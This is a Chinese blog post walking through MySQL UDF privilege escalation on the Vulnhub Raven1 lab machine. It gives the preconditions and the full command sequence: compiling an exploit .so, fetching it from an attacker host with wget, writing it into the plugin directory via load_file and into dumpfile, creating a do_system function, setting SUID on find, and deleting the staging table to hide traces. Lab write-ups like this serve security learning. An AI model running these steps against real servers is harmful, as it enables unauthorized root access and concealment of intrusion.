当前位置: 首页 > news >正文

MySQL提权之UDF提权

1、前言

最近遇到udf提权,几经周折终于搞懂了。感觉挺有意思的,渗透思路一下子就被打开了。

2、什么是udf提权

udf 全称为'user defined function',意思是'用户自定义函数'。用户可以对数据库所使用的函数进行一个扩展(windows利用dll文件,linux利用so文件),那么我们就可以利用这个特点,往MySQL里面添加一个可以执行系统命令的函数即可。

3、提权条件

(1)获取了MySQL的控制权,也就是知道MySQL账号和密码,并且能登录上去。

(2)MySQL具有读写的权限,即secure_file_priv的值为空才行。

(3)MySQL服务以root用户运行,如果是以普通用户运行的话,那么提权之后的权限也是普通用户的权限。

值得注意的是,不同版本的MySQL提权方式略有不同。

MySQL版本大于5.1,扩展文件必须放在MySQL安装目录的lib\plugin文件夹下。(plugin目录下存放的是扩展文件,plugin文件夹默认不存在,需要自己创建)

mysql版本<5.1 需要将扩展文件放在 C:\windows\或C:\windows\system32

4、提权过程

这里我就用Vulnhub靶场的 raven1靶机来演示,因为这个靶机刚好可以进行udf提权。这里直接快进到拿到shell了,如何getshell就不说了。

输入命令查看MySQL,发现是root身份运行的。

ps aux | grep "mysql"

 在/var/www/html/wordpress目录下找到一个wp-config.php,估计是配置文件,打开发现有mysql的账号和密码,直接连接上去即可。

mysql -u root -p

查看是否有读写权限,发现值为空符合我们的前提。

show global variables like 'secure_file_priv';

再查看一下扩展目录在哪里,如果没有的话还需自己创建一下,网上有说可以使用ntfs数据流创建

后续我实验一下。

show global variables like '%plugin%';

通过我们的信息收集,发现这个主机是符合我们udf提权的前提的。那么现在我们编译一个.so文件(靶机为Linux),然后加载到plugin目录下即可。在kali的漏洞库里面有以及写好的c语言脚本的,我们直接编译成.so文件即可,非常的省事。

searchsploit mysql udf 

编译成名为rong.so的文件。

gcc -g -c 1518.c
gcc -g -shared -o rong.so 1518.c

然后下载到靶机的tmp目录下面。

wget http://192.168.145.171/rong.so

我们上面说过要把扩展文件放到plugin目录下面才可以,但是我们普通用户是没有权限直接把文件移动到plugin下面的。这个时候MySQL的作用就来了,我们可以在MySQL上面创建一个表,把我们/tmp/rong.so的内容写入到表里面,然后再把这个表里面的内容读到plugin目录下面的rong.so文件。这样就实现了tmp目录下的rong.so转移到plugin目录下,所以这就是为啥MySQL要具有读写权限。

show databases;

随便选个库都无所谓,这里我选mysql,然后新建一个表。

use mysql
create table rong(line blob)

把/tmp/rong.so文件内容写入这个新建的表里面,load_file函数就是把文件内容写入到表里面。

insert into rong values(load_file('/tmp/rong.so'));

再把表里面的内容读到plugin目录的rong.so,into dumpfile函数就是把表里的内容读入文件里面,如果没有这个文件就新建一个。

select * from rong into dumpfile '/usr/lib/mysql/plugin/rong.so'; 

在真实的攻击中,一般都会把刚刚新建的表删掉(不删也行),清楚痕迹。

drop table rong

现在我们已经成功把自定义扩展函数放到plugin目录下面了,接着导入函数。

create function do_system retuns integer soname 'rong.so'

然后我们就可以执行系统命令了,不过这里是没回显的,要想有回显示还得导入其他.so文件,这里就不说了。我们可以个find命令赋予一个suid权限,然后再利用find提权即可。

select do_system('chmod u+s /usr/bin/find');

查看一下具有suid权限的命令,find命令成功被赋予了权限。

find / -perm -u=s -type f 2>/dev/null

至于find命令如何提权可以参考这篇文章点击我,求你了,这里不在缀述。

5、总结

udf提权本质就是通过添加自定义函数让MySQL能执行系统命令,仅此而已。

最后,以上仅为个人的拙见,如何有不对的地方,欢迎各位师傅指正与补充,有兴趣的师傅可以一起交流学习。

相关文章:

  • 假期已结束,大家都开始上班了吗
  • sqli-labs 靶场 less-11~14 第十一关、第十二关、第十三关、第十四关详解:联合注入、错误注入
  • [word] word如何清除超链接 #媒体#笔记#知识分享
  • NSSCTF-Web题目5
  • Faiss assertion ‘err == cudaSuccess‘ failed in void faiss::gpu:runL2Norm()
  • LangChain开发【NL2SQL】应用
  • Web前端管理系统项目:深度解析与实现之道
  • ROS使用手柄/cmd_vel无输出
  • 【Anaconda】 anaconda常用命令总结
  • 德克萨斯大学奥斯汀分校自然语言处理硕士课程汉化版(第六周) - 预训练模型
  • Golang 避坑指南
  • 鸿蒙轻内核M核源码分析系列七 动态内存Dynamic Memory
  • 【算法篇】滑动窗口的最大值JavaScript版
  • @并行计算和分布式计算解决方案
  • uniapp使用webview内嵌H5的注意事项
  • 渗透测试之内核安全系列课程:Rootkit技术初探(一)
  • 朗思RPA,一款无需代码的自动化效率神器
  • 大数据之Hadoop的特点是什么?有什么优缺点?有哪些发行版本?
  • WDF驱动开发-电源策略(三)
  • 软件测试--Mysql快速入门
  • 5月2日,全社会跨区域人员流动量完成29275.4万人次
  • 纽约大都会博物馆展“萨金特与巴黎”:从艺术生到明星画家
  • 港股5月迎开门红,恒生科指涨3%,欧股开盘全线上扬
  • 八成盈利,2024年沪市主板公司实现净利润4.35万亿元
  • 美商界报告:全美超86万岗位依赖对华出口,关税将重创美国出口商
  • 经营业绩持续稳中向好,国铁集团2024年度和2025年一季度财务决算公布